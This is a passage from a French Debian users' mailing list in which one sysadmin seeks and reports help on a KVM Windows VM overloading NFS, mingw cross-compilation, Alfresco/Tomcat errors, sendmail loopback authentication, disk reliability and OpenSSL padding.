Re: KVM sur host debian
Je vais aller regarder, mais je n'ai pas de snapshot configuré... Enfin, normalement. JB signature.asc Description: OpenPGP digital signature
Re: mingw
Basile Starynkevitch a écrit :
>
> Le 11/8/24 à 11:34, BERTRAND Joël a écrit :
>> Bonjour à tous,
>>
>> En attendant de réussir à réutiliser ma VM Windows 10, j'ai besoin de
>> compiler un utilitaire (un truc que j'ai écrit moi-même en C) pour qu'il
>> puisse s'exécuter sous Windows.
>>
>> J'ai donc installé mingw. Problème, mon outil est lié avec readline et
>> la compilation échoue avec :
>>
>> hilbert:[~/cvs/sonde_renard] > make w64
>> x86_64-w64-mingw32-gcc -I. -Icommon/header -c -O2 -g -Werror -Wextra
>> -Wall -Wno-stringop-truncation -o main.obj main.c
>> main.c:6:10: fatal error: readline/readline.h: Aucun fichier ou dossier
>> de ce nom
>> 6 | #include
>> | ^
>> compilation terminated.
>> make: *** [Makefile:41 : main.obj] Erreur 1
>
>
> Je n'ai jamais utilisé Windows de ma vie, mais GNU readline (cf
> https://tiswww.cwru.edu/php/chet/readline/rltop.html ...) est documenté
> comme étant porté sous Windows et Cygwin
Certes.
>> If you are running Windows, I recommend that you use Cygwin
>> <http://www.cygwin.com>, who currently ship readline-8.1
>> <http://www.cygwin.com/packages/summary/libreadline-devel.html> for
>> x86 and x86_64, or, for a version that runs independently of Cygwin,
>> see the mingw64-{i686,x86_64}-readline packages.
>
> Espérant avoir aidé,
Un exécutable Cygwin sauf si cela a changé récemment n'est pas
directement un exécutable Windows. Ma question porte sur une version
cross-compilé de readline pour cross-compiler un soft en mode texte sous
Debian et pouvoir l'utiliser sous Windows.
JB
signature.asc
Description: OpenPGP digital signature
mingw
Bonjour à tous, En attendant de réussir à réutiliser ma VM Windows 10, j'ai besoin de compiler un utilitaire (un truc que j'ai écrit moi-même en C) pour qu'il puisse s'exécuter sous Windows. J'ai donc installé mingw. Problème, mon outil est lié avec readline et la compilation échoue avec : hilbert:[~/cvs/sonde_renard] > make w64 x86_64-w64-mingw32-gcc -I. -Icommon/header -c -O2 -g -Werror -Wextra -Wall -Wno-stringop-truncation -o main.obj main.c main.c:6:10: fatal error: readline/readline.h: Aucun fichier ou dossier de ce nom 6 | #include | ^ compilation terminated. make: *** [Makefile:41 : main.obj] Erreur 1 J'admets l'erreur. Je n'ai pas trouvé chez Debian de paquet proposant les bibliothèques de base cross-compilées avec mingw. Comment faites-vous dans ce cas-là ? Vous les recompilez depuis les sources ? Bien cordialement, JB signature.asc Description: OpenPGP digital signature
Re: KVM sur host debian
didier gaumet a écrit : > > Apparemment je me trompe: un ls sur une image qcow2 montre l'espace > alloué (virtual size), pas réellement occupé (disk size): > > didier@hp-notebook14:~$ sudo qemu-img info > /home/machines_virtuelles/win10.qcow2image: > /home/machines_virtuelles/win10.qcow2 > file format: qcow2 > virtual size: 50 GiB (53687091200 bytes) > disk size: 23.9 GiB > cluster_size: 65536 > Format specific information: > compat: 1.1 > compression type: zlib > lazy refcounts: true > refcount bits: 16 > corrupt: false > extended l2: false > > didier@hp-notebook14:~$ ls -al /home/machines_virtuelles > total 41245288 > drwxrwxr-x 2 libvirt-qemu libvirt 4096 7 nov. 13:39 . > drwxr-xr-x 5 root root 4096 15 août 14:43 .. > -rw--- 1 root root 53695545344 18 août 22:14 debian.qcow2 > -rw--- 1 root root 53695545344 7 nov. 14:35 > opensuse_leap.qcow2 > -rw--- 1 root root 53695545344 17 août 22:54 win10.qcow2 > > tu peux peut-être tenter (si la commande veut bien répondre), > - un qemu-img info pour avoir la taille réellement occupée hilbert:[~/.local/share/libvirt/images] > qemu-img info Virtual10-disk001.qcow2 image: Virtual10-disk001.qcow2 file format: qcow2 virtual size: 128 GiB (137438953472 bytes) disk size: 32.8 GiB cluster_size: 65536 Format specific information: compat: 0.10 compression type: zlib refcount bits: 16 Child node '/file': filename: Virtual10-disk001.qcow2 protocol type: file file length: 32.8 GiB (35205677056 bytes) disk size: 32.8 GiB hilbert:[~/.local/share/libvirt/images] > > - un qemu-check pour vérifier sir l'image est corrompue > - éventuellement un qemu-img resize pour agrandir ton image qcow2 sans > arrêter ta machine virtuelle, même si ça me semble douteux que le > changement de taille soit pris en compte immédiatement plutôt qu'au > prochain démarrage de la VM. > > En tout cas bon courage :-) > > PS: si je comprends à peu près (c'est incertain), si l'option > data_file_raw a été choisie, qemu crée une image supplémentaire avec les > entrées-sorties sur l'image principale, ce qui explique tes deux images > qcow pour une seule machine virtuelle. > cf doc qemu: > https://www.qemu.org/docs/master/tools/qemu-img.html#notes Je ne vois pas comment voir l'état de ce paramètre :-( JB signature.asc Description: OpenPGP digital signature
Re: KVM sur host debian
didier gaumet a écrit : > Le 08/11/2024 à 08:37, BERTRAND Joël a écrit : > >> Bonjour, >> >> Pas certain du tout : >> >> hilbert:[~/.local/share/libvirt/images] > ls -lh >> -rw--- 1 bertrand users 21G 7 janv. 2023 netbsd10.0.qcow2 >> -rw-r--r-- 1 bertrand users 33G 7 nov. 16:50 Virtual10-disk001.qcow2 >> -rw--- 1 bertrand users 129G 7 nov. 16:42 win10.qcow2 >> >> Le disque utilisé par la VM est Virtual10-disk001.qcow2 (j'ai vérifié >> dans la configuration de la VM). Or je viens de m'apercevoir qu'un autre >> disque est créé par je ne sais qui et que ce disque fait... 128 Go ! >> Sans doute plus il faudrait que je laisse la VM aller jusqu'au bout. >> >> Pour mémoire, la taille de Virtual10-disk001.qcow2 est de 128 Go : >> >> hilbert:[~/.local/share/libvirt/images] > file Virtual10-disk001.qcow2 >> Virtual10-disk001.qcow2: QEMU QCOW Image (v2), 137438953472 bytes (v2), >> 137438953472 bytes >> hilbert:[~/.local/share/libvirt/images] > file win10.qcow2 >> win10.qcow2: QEMU QCOW Image (v3), 137438953472 bytes (v3), 137438953472 >> bytes >> >> et c'est bien la VM qui crée un autre fichier (au nom de la VM) et qui >> sature le serveur NFS. Précédemment, ce n'était pas le cas. >> >> Bien cordialement, >> >> JB > > Je suis loin de bien connaître kvm/qemu donc ce que j'avance est à > prendre avec des pincettes, > > mais je suis resté sur l'impression qu'avec les options standard, > l'occupation d'une image qemu sur un disque réel est dynamique, ce qui > suggérerait que ton disque Windows est plein (128Go alloués, 128Go > occupés) et il semblerait que dans ce cas (supposition, j'y connais rien > et je n'ai jamais entendu parler d'un tel comportement), qemu crée une > image temporaire pour éviter de planter la machine? (la dernière partie > est vraiment une pure hypothèse sans rien pour la soutenir) Pas possible que le disque soit plein (il n'y a que W10 avec un logiciel de quelques Mo permettant de programmer un chip USB/RS232). > tu pourrais simplement essayer de forcer l'extinction de la VM Windows, > porter la taille de l'image à 200G et redémarrer la machine: peut-être > que Windows se lancerait normalement (modulo une vérification NTFS au > départ, probablement)? > Je ne peux pas forcer l'arrêt de la machine. La charge (côté client) l'interdit. Plus rien ne répond. signature.asc Description: OpenPGP digital signature
Re: KVM sur host debian
didier gaumet a écrit : > Le 07/11/2024 à 23:28, BERTRAND Joël a écrit : > >> En fait, ça démarre. Mais le fonctionnement est erratique. Si je >> laisse >> le truc assez longtemps, j'arrive à l'écran de connexion. Je peux même >> ouvrir un session (qui peut s'ouvrir correctement ou pas), mais tout est >> d'une lenteur abominable en surchargeant le réseau local et le serveur >> NFS. Ce que je n'avais pas auparavant. > > au feeling, comme ça, ça ressemble plus à un problème dans l'invité > Windows que dans l'environnement de l'hôte Debian... > > Bonjour, Pas certain du tout : hilbert:[~/.local/share/libvirt/images] > ls -lh -rw--- 1 bertrand users 21G 7 janv. 2023 netbsd10.0.qcow2 -rw-r--r-- 1 bertrand users 33G 7 nov. 16:50 Virtual10-disk001.qcow2 -rw--- 1 bertrand users 129G 7 nov. 16:42 win10.qcow2 Le disque utilisé par la VM est Virtual10-disk001.qcow2 (j'ai vérifié dans la configuration de la VM). Or je viens de m'apercevoir qu'un autre disque est créé par je ne sais qui et que ce disque fait... 128 Go ! Sans doute plus il faudrait que je laisse la VM aller jusqu'au bout. Pour mémoire, la taille de Virtual10-disk001.qcow2 est de 128 Go : hilbert:[~/.local/share/libvirt/images] > file Virtual10-disk001.qcow2 Virtual10-disk001.qcow2: QEMU QCOW Image (v2), 137438953472 bytes (v2), 137438953472 bytes hilbert:[~/.local/share/libvirt/images] > file win10.qcow2 win10.qcow2: QEMU QCOW Image (v3), 137438953472 bytes (v3), 137438953472 bytes et c'est bien la VM qui crée un autre fichier (au nom de la VM) et qui sature le serveur NFS. Précédemment, ce n'était pas le cas. Bien cordialement, JB signature.asc Description: OpenPGP digital signature
Re: KVM sur host debian
didier gaumet a écrit : > Le 07/11/2024 à 17:12, BERTRAND Joël a écrit : >> Bonjour à tous, >> >> Depuis ce matin, j'essaie désespérément de lancer une machine >> virtuelle >> Windows 10 sur une installation KVM. Je précise que cette installation >> fonctionnait parfaitement jusqu'à récemment (je ne l'utilise pas tous >> les jours). > [...] > L'une des possibilités (parmi bien d'autres) serait une mise-à-jour > Windows qui a mal tourné et rend le démarrage normal de Windows > impossible. Auquel cas peut-être que tu gardes la main lors du tout > début du démarrage et tu peux alors appuyer sur une ou des touche(s) de > fonction pour démarre en mode sans échec, avec ou sans le réseau, voire > avec ou sans des périphériques (j'ai vraiment pas souvent utilisé le > mode sans échec et la dernière fois remonte à plusieurs années): > https://stackoverflow.com/questions/41842509/libvirt-kvm-qemu-is-it-possible-to-boot-a-windows-guest-into-safe-mode En fait, ça démarre. Mais le fonctionnement est erratique. Si je laisse le truc assez longtemps, j'arrive à l'écran de connexion. Je peux même ouvrir un session (qui peut s'ouvrir correctement ou pas), mais tout est d'une lenteur abominable en surchargeant le réseau local et le serveur NFS. Ce que je n'avais pas auparavant. JB signature.asc Description: OpenPGP digital signature
KVM sur host debian
Bonjour à tous, Depuis ce matin, j'essaie désespérément de lancer une machine virtuelle Windows 10 sur une installation KVM. Je précise que cette installation fonctionnait parfaitement jusqu'à récemment (je ne l'utilise pas tous les jours). Les images sont sur un disque NFS. Dans virt-manager, j'ai actuellement trois machines virtuelles. Une NetBSD 10, une Windows 7 pro et une Windows 10. Les deux premières fonctionnent parfaitement. Les paramètres de la troisième me semblent corrects, sauf que lorsque je lance la machine, la charge sur le serveur NFS monte en flèche (typiquement, nfs possède 512 threads, la charge monte à 512 durant plusieurs heures et y reste !), la machine hôte ne répond quasiment plus (même la souris a du mal à bouger) et je n'arrive jamais à quelque chose d'utilisable. Les paramètres principaux pour la machine sont les suivants : - 8 Go de ram (sur les 32 de l'hôte) ; - 4 VCPU (sur les 20 CPU de l'hôte). Le reste des paramètres est identique à ceux de la machine Windows 7. Quelqu'un a-t-il déjà vu un tel comportement ? Bien cordialement, JB signature.asc Description: OpenPGP digital signature
Re: Alfresco 6.2 et debian/testing
Trouvé. Un strace du processus montre que tomcat essaie d'ouvrir un fichier d'eclipse. Après copie dudit fichier dans /var/lib/tomcat9/lib, ça fonctionne. Mais la moindre des choses qu'on puisse dire, c'est que l'erreur n'était pas très explicite. JB signature.asc Description: OpenPGP digital signature
Re: Alfresco 6.2 et debian/testing
Bonsoir, J'ai un peu progressé. Jasper.jar n'est plus fourni par Debian. J'ai donc copié jasper.jar dans /var/lib/tomcat9/lib (j'y avais déjà le connecteur postgresql). Mais je me prends encore l'erreur suivante : 30-Oct-2024 19:16:16.305 GRAVE [ajp-nio-127.0.0.1-8009-exec-9] org.apache.catalina.core.StandardWrapperValve.invoke Servlet.service() du Servlet [jsp] dans le contexte au chemin [] a retourné une exception [java.lang.IllegalStateException: Aucun compilateur Java disponible] avec la cause java.lang.IllegalStateException: Aucun compilateur Java disponible at org.apache.jasper.JspCompilationContext.createCompiler(JspCompilationContext.java:228) at org.apache.jasper.JspCompilationContext.compile(JspCompilationContext.java:638) at org.apache.jasper.servlet.JspServletWrapper.service(JspServletWrapper.java:357) at org.apache.jasper.servlet.JspServlet.serviceJspFile(JspServlet.java:390) at org.apache.jasper.servlet.JspServlet.service(JspServlet.java:334) at javax.servlet.http.HttpServlet.service(HttpServlet.java:779) La question (pour les spécialistes Tomcat/Java) est donc : où se configure ce fichu compilateur Java ? Tomcat trouve tout ce qu'il faut (je vois les logs de tomcat tourner normalement) jusqu'au moment où je tente une connexion et où jasper.jar est chargé. Je fatigue d'autant que j'ai absolument de récupérer des documents qui sont dans les entrepôts alfresco... JB signature.asc Description: OpenPGP digital signature
Re: [HS] La sécurité de testing (Re: Alfresco 6.2 et debian/testing)
Sébastien NOBILI a écrit : > Bonjour, > > Je ne connais pas ton contexte et donc ma remarque ne sera peut-être pas > pertinente, > mais je la poste quand-même car elle pourrait éveiller la curiosité > d'autres. > > Testing est la branche de Debian avec le niveau de sécurité le plus > faible et ne > devrait pas être utilisée pour un serveur de prod potentiellement exposé > à des > attaques. > > https://wiki.debian.org/Status/Testing#Security Bonjour, Il faut faire des compromis. Et ici, le compromis est parfaitement acceptable. JB signature.asc Description: OpenPGP digital signature
Re: Alfresco 6.2 et debian/testing
ajh-valmer a écrit : > On Tuesday 29 October 2024 18:46:42 BERTRAND Joël wrote: > > Ce ne serait pas lié à ta base de données et/ou ton serveur Web ? > (qui sont en relation avec l'ECM). Alfresco se connecte correctement à la base de données (j'ai vérifié, c'est une postgresql). Et le serveur web fonctionne correctement, y compris le revers proxy pour tomcat. signature.asc Description: OpenPGP digital signature
Re: Alfresco 6.2 et debian/testing
didier gaumet a écrit : > Bonjour, > > Avertissement: je n'y connais absolument rien à tout ça: > > une recherche sur le message d'erreur et Alfresco m'a balancé plusieurs > résultat dont ton propre post sur le support Alfresco et ce post-là qui > m"a l'air, de loin, à peu près en rapport avec ton cas: > https://stackoverflow.com/questions/45937784/how-to-resolve-java-lang-illegalstateexception-no-java-compiler-available-for-c > > > peut-être (ou non) que ça t'éclairera un peu. > Pas la peine de m'en demander plus: tu as compris que sur le sujet je > tâtonne dans le noir donc si tu entends un grand bruit c'est que je me > suis cassé la gueule en heurtant quelque chose ;-) > Merci pour l'effort, mais ça ne s'applique pas ici (c'est l'un des premiers liens qui sort). signature.asc Description: OpenPGP digital signature
Alfresco 6.2 et debian/testing
Bonjour à tous, J'utilise depuis des années Alfresco sur un serveur testing/amd64. Depuis la dernière mise à jour du serveur qui date de quelques jours, Alfresco ne fonctionne plus et je ne comprends pas pourquoi. La configuration d'Alfresco n'a pas changé. J'ai vérifié celle de Tomcat (9), le reverse proxy d'Apache, rien n'a changé. Lorsque j'essaie de me connecter sur Alfresco/share/page, j'obtiens bien la page de connexion, mais après la connexion, je n'ai plus qu'une page blanche. => le reverse proxy d'Apache tape bien sur Tomcat, lequel trouve le moyen d'afficher la page de connexion d'Alfresco. Dans les logs de Tomcat, je trouve ceci : 29-Oct-2024 17:14:27.337 GRAVE [ajp-nio-127.0.0.1-8009-exec-7] org.apache.catalina.core.StandardWrapperValve.invoke Servlet.service() du Servlet [jsp] dans le contexte au chemin [] a retourné une exception [java.lang.IllegalStateException: Aucun compilateur Java disponible pour les options de configuration compilerClassName : [null] et compiler : [null]] avec la cause java.lang.IllegalStateException: Aucun compilateur Java disponible pour les options de configuration compilerClassName : [null] et compiler : [null] at org.apache.jasper.JspCompilationContext.createCompiler(JspCompilationContext.java:237) at org.apache.jasper.JspCompilationContext.compile(JspCompilationContext.java:597) at org.apache.jasper.servlet.JspServletWrapper.service(JspServletWrapper.java:399) at org.apache.jasper.servlet.JspServlet.serviceJspFile(JspServlet.java:379) at org.apache.jasper.servlet.JspServlet.service(JspServlet.java:327) at javax.servlet.http.HttpServlet.service(HttpServlet.java:779) at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:227) at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:162) at org.apache.tomcat.websocket.server.WsFilter.doFilter(WsFilter.java:53) at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:189) at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:162) at org.apache.catalina.core.StandardWrapperValve.invoke(StandardWrapperValve.java:177) at org.apache.catalina.core.StandardContextValve.invoke(StandardContextValve.java:97) at org.apache.catalina.authenticator.AuthenticatorBase.invoke(AuthenticatorBase.java:541) at org.apache.catalina.core.StandardHostValve.invoke(StandardHostValve.java:135) at org.apache.catalina.valves.ErrorReportValve.invoke(ErrorReportValve.java:92) at org.apache.catalina.valves.AbstractAccessLogValve.invoke(AbstractAccessLogValve.java:687) at org.apache.catalina.core.StandardEngineValve.invoke(StandardEngineValve.java:78) at org.apache.catalina.connector.CoyoteAdapter.service(CoyoteAdapter.java:360) at org.apache.coyote.ajp.AjpProcessor.service(AjpProcessor.java:433) at org.apache.coyote.AbstractProcessorLight.process(AbstractProcessorLight.java:65) at org.apache.coyote.AbstractProtocol$ConnectionHandler.process(AbstractProtocol.java:891) at org.apache.tomcat.util.net.NioEndpoint$SocketProcessor.doRun(NioEndpoint.java:1784) at org.apache.tomcat.util.net.SocketProcessorBase.run(SocketProcessorBase.java:49) at org.apache.tomcat.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1191) at org.apache.tomcat.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:659) at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61) at java.base/java.lang.Thread.run(Thread.java:1583) et là, je ne comprends pas. Pourquoi ce fichu truc ne trouve-t-il pas un compilateur java ? Lorsque je tape directement sur l'url du serveur (Alfresco tout court), je me prends comme réponse : HTTP Status 500 – Internal Server Error Type Exception Report Message java.lang.IllegalStateException: Aucun compilateur Java disponible pour les options de configuration compilerClassName : [null] et compiler : [null] Description The server encountered an unexpected condition that prevented it from fulfilling the request. Exception org.apache.jasper.JasperException: java.lang.IllegalStateException: Aucun compilateur Java disponible pour les options de configuration compilerClassName : [null] et compiler : [null] org.apache.jasper.servlet.JspServletWrapper.handleJspException(JspServletWrapper.java:589) org.apache.jasper.servlet.JspServletWrapper.service(JspServletWrapper.java:425) org.apache.jasper.servlet.JspServlet.serviceJspFile(JspSe
Re: [Sendmail] Apparition de l'authentification sur 127.0.0.1 depuis une mise à jour récente
Je me réponds à moi-même. J'ai trouvé au fin fond du bouquin O'Reilly (Sendmail, 4th edition) une solution : GreetPause:192.168 0 # Pas d'authentification pour 127.0.0.1 Srv_Features:127.0.0.1 ALS Je demande donc à sendmail de ne pas proposer AUTH (A), de ne pas nécessiter une authentification (L) et de ne pas proposer STARTTLS AUTH. A était suffisant jusqu'à récemment, il faut maintenant ALS (AL n'est pas suffisant). Je ne pense pas que le responsable soit sendmail, mais le client qui essaie de s'authentifier dès qu'il voit STARTTLS ou AUTH. Désolé pour le bruit, JB signature.asc Description: OpenPGP digital signature
[Sendmail] Apparition de l'authentification sur 127.0.0.1 depuis une mise à jour récente
Bonjour à tous, J'ai un petit souci avec une grosse configuration sendmail (merci de ne pas commencer par me dire qu'il faut passer à autre chose). Cette configuration fonctionne correctement depuis des années avec toutes les grouilles nécessaires (dmarc, dkim, clamav, spamassassin, greylist...) et traite plusieurs dizaines de mails par jours. Ce serveur demande une authentification sur le port submission depuis les IP externes, et ne demandait pas d'authentification sur les deux interfaces loopback (v4 et v6). Depuis une mise à jour récente (mais je n'arrive pas à trouver laquelle), une authentification est arrivée sur le loopback, ce qui empêche par exemple root de recevoir les messages d'alerte des différents daemons (dont smartctl, je me suis aperçu du truc après un plantage disque de week-end). Root rayleigh:[/etc/mail] > sendmail -v root@localhost test root@localhost... Connecting to [127.0.0.1] port 587 via relay... 220 rayleigh.systella.fr ESMTP Sendmail 8.18.1/8.18.1/Debian-5; Mon, 22 Jul 2024 11:12:21 +0200; (No UCE/UBE) logging access from: localhost(OK)-smmsp@localhost [127.0.0.1] >>> EHLO rayleigh.systella.fr 250-rayleigh.systella.fr Hello smmsp@localhost [127.0.0.1], pleased to meet you 250-ENHANCEDSTATUSCODES 250-PIPELINING 250-EXPN 250-VERB 250-8BITMIME 250-SIZE 250-DSN 250-STARTTLS 250-DELIVERBY 250 HELP >>> VERB 250 2.0.0 Verbose mode >>> STARTTLS 220 2.0.0 Ready to start TLS >>> EHLO rayleigh.systella.fr 250-rayleigh.systella.fr Hello smmsp@localhost [127.0.0.1], pleased to meet you 250-ENHANCEDSTATUSCODES 250-PIPELINING 250-EXPN 250-VERB 250-8BITMIME 250-SIZE 250-DSN 250-DELIVERBY 250 HELP >>> VERB 250 2.0.0 Verbose mode >>> MAIL From: SIZE=5 530 5.7.0 Authentication required bertrand... Using cached ESMTP connection to [127.0.0.1] via relay... >>> RSET 250 2.0.0 Reset state >>> MAIL From:<> SIZE=1029 530 5.7.0 Authentication required postmaster... Using cached ESMTP connection to [127.0.0.1] via relay... >>> RSET 250 2.0.0 Reset state >>> MAIL From:<> SIZE=2053 530 5.7.0 Authentication required Closing connection to [127.0.0.1] >>> QUIT 221 2.0.0 rayleigh.systella.fr closing connection Root rayleigh:[/etc/mail] > Je précise que rien n'a changé dans cette configuration (j'ai même ressorti une archive de l'an passé pour être sûr). Dans access, j'ai bien : Root rayleigh:[/etc/mail] > cat access GreetPause:192.168 0 # Pas d'authentification pour 127.0.0.1 SRV_Features:127.0.0.1 A mais qui semble être ignoré. Mon sendmail.mc ne semble rien contenir de particulier : divert(0)dnl define(`_USE_ETC_MAIL_')dnl define(`CERT_DIR',`/etc/letsencrypt/live/systella.fr')dnl define(`confTLS_FALLBACK_TO_CLEAR', `true')dnl include(`/usr/share/sendmail/cf/m4/cf.m4')dnl VERSIONID(`$Id: sendmail.mc, v 8.12.3-6.6 2003-09-17 22:44:06 cowboy Exp $') OSTYPE(`debian')dnl DOMAIN(`debian-mta')dnl FEATURE(`masquerade_envelope')dnl MASQUERADE_AS(`systella.fr')dnl FEATURE(`use_cw_file')dnl FEATURE(`virtusertable',`hash -o /etc/mail/virtusertable.db')dnl VIRTUSER_DOMAIN_FILE(`-o /etc/mail/virtuserdomains')dnl FEATURE(`access_db',`hash -o -T /etc/mail/access')dnl FEATURE(`use_ct_file')dnl FEATURE(`smrsh')dnl FEATURE(`mailertable')dnl FEATURE(`greet_pause',1000)dnl FEATURE(`local_procmail')dnl LOCAL_CONFIG include(`/etc/mail/sasl/sasl.m4')dnl include(`/etc/mail/tls/starttls.m4')dnl include(`/etc/mail/milter-greylist.m4')dnl INPUT_MAIL_FILTER(`spamassassin', `S=local:/var/run/spamass/spamass.sock, F=, T=C:15m;S:4m;R:4m;E:10m')dnl INPUT_MAIL_FILTER(`clamav', `S=local:/var/run/clamav/clamav-milter.ctl, F=, T=S:4m;R:4m')dnl INPUT_MAIL_FILTER(`opendkim', `S=inet:8892@localhost')dnl INPUT_MAIL_FILTER(`pyspffilter', `S=local:/var/run/spf-milter-python/spfmiltersock')dnl INPUT_MAIL_FILTER(`opendmarc', `S=local:/run/opendmarc/opendmarc.sock')dnl define(`confINPUT_MAIL_FILTERS', `pyspffilter,opendkim,opendmarc,greylist,spamassassin,clamav')dnl define(`STATUS_FILE', `/var/lib/sendmail/sendmail.st')dnl define(`STATUS_FILE', `/var/lib/sendmail/sm-client.st')dnl FEATURE(`no_default_msa', `dnl')dnl DAEMON_OPTIONS(`Port=smtp, Name=MTA, Family=inet')dnl DAEMON_OPTIONS(`Port=smtp, Name=MTAv6, Family=inet6')dnl DAEMON_OPTIONS(`Port=submission, M=Ea, Name=MSA, Family=inet')dnl DAEMON_OPTIONS(`Port=submission, M=Ea, Name=MSA, Family=inet6')dnl MAILER_DEFINITIONS MAILER(local)dnl MAILER(smtp)dnl Si quelqu'un avait un début d'explication... Bien cordialement, JB signature.asc Description: OpenPGP digital signature
Re: [HS] sauvegarde sur Disque Mécanique ou SSD
ajh-valmer a écrit : > On Saturday 06 July 2024 10:56:54 benoit wrote: >> Le vendredi 5 juillet 2024 à 22:19, Dethegeek a écrit : >>> C'est une bonne question. Comment est déterminé le MTBF ? >>> Par experimentation sur des exemplaires avant mise en production >>> de masse, par simulations ? > > Aujourd'hui, les disques durs SSD semblent fiables. > Je n'ai connu que des défaillances irrémédiables (poubelle) > avec les DD mécaniques, pas avec les SSD. Moi, avec plusieurs milliers de disques dans la nature (dans des équipements chez des clients), c'est exactement l'inverse. Je n'ai que rarement eu de pertes dues à un disque dur à plateaux (il prévient avant de mourir et si le problème est électronique, ce qui peut arriver, on sait recouvrer les informations). En revanche, je ne compte plus les SSD qui meurent subitement sans crier gare (ça va de la corruption du firmware à un fonctionnement aléatoire allant jusqu'à la corruption des données). Par ailleurs, un swap sur SSD crame très vite l'_intégralité_ d'un SSD, pas uniquement la partition de swap. J'ai fait quelques calculs parce que j'ai dû changer les disques d'un volume raid sur un serveur (raid6 en 4 * 1 To en 2,5"). Ben... Durée de vie de 4 mois avec des SSD en raison de la partition de swap pourtant relativement peu sollicitée. J'ai changé les berceaux 2,5" contre des 3,5" pour y mettre des disques normaux. > Inutile de se faire du soucis sur ce sujet, > d'autant que la vitesse de transmission des données > d'un SSD est incomparable par rapport à un DD mécanique, > que je ne pourrais plus utiliser. > On le voit bien au boot, quelle différence ! Je préfère qu'une machine mette deux minutes à démarrer à un SSD qui meure subitement. Mais je suis un dinosaure qui se souvient des 45 minutes de boot de sa VaxStation 3100 et je ne redémarre pas très souvent mes machines. Pour un portable, je veux bien un SSD, mais pas pour une machine fixe (sauf à avoir des SSD à un bit par cellule, mais ils sont hors de prix, et même là, on n'atteint pas la fiabilité d'un disque mécanique de milieu de gamme en terme d'endurance.). JB signature.asc Description: OpenPGP digital signature
Re: [HS] sauvegarde sur Disque Mécanique ou SSD
Sébastien Dinot a écrit : > À l'époque où l'on gravait encore des DVD, je me souviens qu'un > fabricant proposait des DVD en verre, vendus une fortune, dont la durée > de conservation annoncée était de 4 000 ans. 1/ On grave toujours des DVD (et d'autres supports optiques). 2/ Le support en verre existe toujours. ;-) JB signature.asc Description: OpenPGP digital signature
Re: [HS] sauvegarde sur Disque Mécanique ou SSD
Dethegeek a écrit : > C'est une bonne question. Comment est déterminé le MTBF ? Par > experimentation sur des exemplaires avant mise en production de masse, > par simulations ? > > Un MTBF DE 2.5 millions d'heures équivaut à 285 ans. Soit j'ai fait un > erreur de logique pour calculer soit cette valeur est erronée. Ça me > semble ni réalisable ni raisonnable au vu de la vitesse d'évolution > technologique Pour bosser dans l'électronique, ça se calcule en fonction des différents composants? On connaît la durée de vie d'un composant soumis à un stress, donc on sait déterminer la durée de vie moyenne d'un circuit. Pour la mécanique, c'est exactement pareil. JB signature.asc Description: OpenPGP digital signature
Re: [HS] sauvegarde sur Disque Mécanique ou SSD
benoit a écrit : > Le vendredi 5 juillet 2024 à 21:56, benoit a écrit : > >> J'ai regardé les disque durs avec une moyenne de 2 500 000 h avant panne, >> c'est pas donné. Le moins chers que j'ai trouvé est à 240€ pour un Toshiba >> MG07ACA de 14 To et en plus c'est du 3,5 pouces et mon rack c'est pour des >> disques 2.5 pouces. > > En plus je me répond à moi même et me demande qui a besoin d'une durée de vie > aussi démesurée ? > Et comment on fait pour prétendre que ça va durer si longtemps ? Bonjour, Ce sont des "moyennes" en fonction de cas d'usage. Personnellement, j'ai rarement des problèmes avec des Toshiba (deux pannes sur les 15 dernières années avec je ne sais combien de disques dans la nature). Attention à bien faire la différence d'usage cependant entre les disques SRM et CRM (les CRM sont plus fiables mais plus chers). En 2,5", ça devient difficile de trouver en SATA à plateau. Aujourd'hui, je privilégie les marques suivantes (dans le désordre) : - Fujitsu (lorsque j'en trouve) - Hitachi/HGST - Toshiba mais /toujours/ en CRM sauf cas particuliers de disques dans des NAS d'archivage. Je proscris les Samsung et Seagate avec lesquels je n'ai eu que des merdes (mort subite de l'électronique, instabilités du bus, erreurs smart, des vraies qui ne correspondent à aucun défaut et qui montrent la qualité exceptionnelle du firmware... J'ai des Seagate d'origine Sun en SATA ou SCSI-SCA qui n'ont duré que quelques jours et d'autres qui se déconnectaient aléatoirement des bus, ce qui fait désordre même sur un volume raid.). Les WD, ça dépend des gammes, il faut trier. Ça va du disque merdouillique aux disques sérieux (j'ai des jaunes dans un serveur qui ne bronchent pas). Je rajoute que j'ai moins de pannes avec des disques à plateaux qu'avec des SSD. Bien cordialement, JB signature.asc Description: OpenPGP digital signature
Re: [Un peu HS] Utilisation de l'API OpenSSL
J'ai enfin réussi à avoir un retour des devs d'OpenSSL. Il faut dans leur technique de détection des fins de message toujours au moins un octet de bourrage. Donc si le message fait un multiple entier d'une longueur de bloc, on se tape un bloc entier en bourrage. Une fois expliqué, c'est assez logique. Mais ça n'apparaît nulle part dans la documentation d'OpenSSL. Désolé pour le bruit. JB signature.asc Description: OpenPGP digital signature
Re: [Un peu HS] Utilisation de l'API OpenSSL
didier gaumet a écrit : > Le 04/07/2024 à 20:44, BERTRAND Joël a écrit : >> didier gaumet a écrit : > [...] >>> https://stackoverflow.com/questions/71763461/purpose-of-evp-encryptfinal-ex-function-in-openssl >>> > [...] > >> Ce que je ne saisis pas, c'est pour quoi lorsqu'on >> a déjà un multiple d'une longueur de bloc, la fonction en rajoute un. Et >> pourquoi elle plante lamentablement en cas de déchiffrement. > [...] > > comme dit précédemment, tout ça me passe un peu au-dessus de ce qui me > sert malaisément de cerveau mais le lien ci-dessus a quelques > explications intéressantes fournies par un type quia l'air de comprendre > à peu près de quoi il parle, et ça renvoie vers l'explication Wikipedia > du mode d'opération de chiffrement, section "remplissage": > https://fr.wikipedia.org/wiki/Mode_d%27op%C3%A9ration_(cryptographie)#Remplissage > > (comme on est sur une liste en français, je pointe vers un lien en > français, mais le texte original en anglais est peut-être plus à jour ou > plus complet) > > donc j'ai pas creusé mais une explication du comportement que tu > observes (des blocs de 16 bits dont seuls 15 utilisés passent mais pas > des blocs de 16 bits comportant 16 bits utiles) pourrait résider dans le > mode utilisé, je cite: > "[...] Un peu plus complexe est la méthode DES originale, qui consiste > à ajouter un 